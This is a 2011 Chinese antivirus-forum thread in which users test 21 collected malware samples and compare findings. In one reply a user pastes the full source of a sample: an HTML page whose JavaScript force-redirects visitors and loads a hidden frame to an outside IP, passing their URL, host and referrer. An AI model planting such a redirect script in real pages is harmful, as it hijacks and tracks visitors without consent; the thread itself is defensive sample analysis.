病毒样本21个。。你的杀软能全部处理么？来试试~~

显示全部楼层 · 发表于 2011-5-13 17:53:39

本帖最后由 K_Ghost! 于 2011-5-13 17:54 编辑

那个外-挂貌似没什么问题CF幽灵透视家庭网吧通用版0423

我运行了再查杀没发现异常沙箱跑也没发现什么太过分的不过毕竟是个外-挂...

显示全部楼层 · 发表于 2011-5-13 17:54:30

K_Ghost! 发表于 2011-5-13 17:36
gggg.exe 无法运行

一个脚本而已

<html>
<head>

</head>

<script type="text/javascript">

var pp = "242&pre="+(new Date()).getTime();
var s=String(window.location.href);
var host=escape(s.substring(7,s.indexOf('/',7)));
var ref=escape(document.referrer);
s = escape(s);

function loadfr()
{
document.getElementById("fr1").src = "http://60.191.124.250/dns.php?AIMT="+s+"&host="+host+"&refer="+ref+"&server="+pp;
}

function refreshPage()
{
document.location = "http://60.191.124.250/dns.php?AIMT="+s+"&host="+host+"&refer="+ref+"&server="+pp;
}

if (self.location == top.location)
{
document.location="http://60.191.124.250/dns.php?AIMT="+s+"&host="+host+"&refer="+ref+"&server="+pp;
}
else
{
refreshPage();
}

</script>

<frameset rows="*,0">
<frame id="main" src="">
<frame id="fr1" src="">
</frameset>

<body>
</body>

</html>

显示全部楼层 · 发表于 2011-5-13 17:54:59

回复 62楼 jefffire 的帖子

额那是我系统的问题了 x64的

显示全部楼层 · 发表于 2011-5-13 17:55:45

本帖最后由 jefffire 于 2011-5-13 17:56 编辑

K_Ghost! 发表于 2011-5-13 17:54
回复 62楼 jefffire 的帖子

额那是我系统的问题了 x64的

不是~~这个本身就是不能运行的。
指向地址已经失效http://60.191.124.250/dns.php

显示全部楼层 · 发表于 2011-5-13 17:57:05

还有一个 tuugle_setup 带数字签名好像就是个工具... 这个...为什嘛也算病毒...

显示全部楼层 · 发表于 2011-5-13 17:59:20

表示不解啊楼主从那找到这些样本的

显示全部楼层 · 发表于 2011-5-13 18:00:37

爱在雨中停发表于 2011-5-13 17:49
回复 56楼 jefffire 的帖子

嗯。。学习了。。我还没用过云呢。。。

三个肯定clean
myms.exe 百度插件
sms-full2011.exe 百度插件
ones.exe ones光盘刻录软件

其他还有不少外-挂，不好判断

显示全部楼层 · 发表于 2011-5-13 18:04:24

nb.swf是利用漏洞攻击的么...这个压缩成exe云可识别

显示全部楼层 · 发表于 2011-5-13 18:04:25

话不多说

显示全部楼层 · 发表于 2011-5-13 18:06:20

回复 66楼 K_Ghost! 的帖子

网上到处下的。。。可疑的就收集起来了的。。

[病毒样本] 病毒样本21个。。你的杀软能全部处理么？来试试~~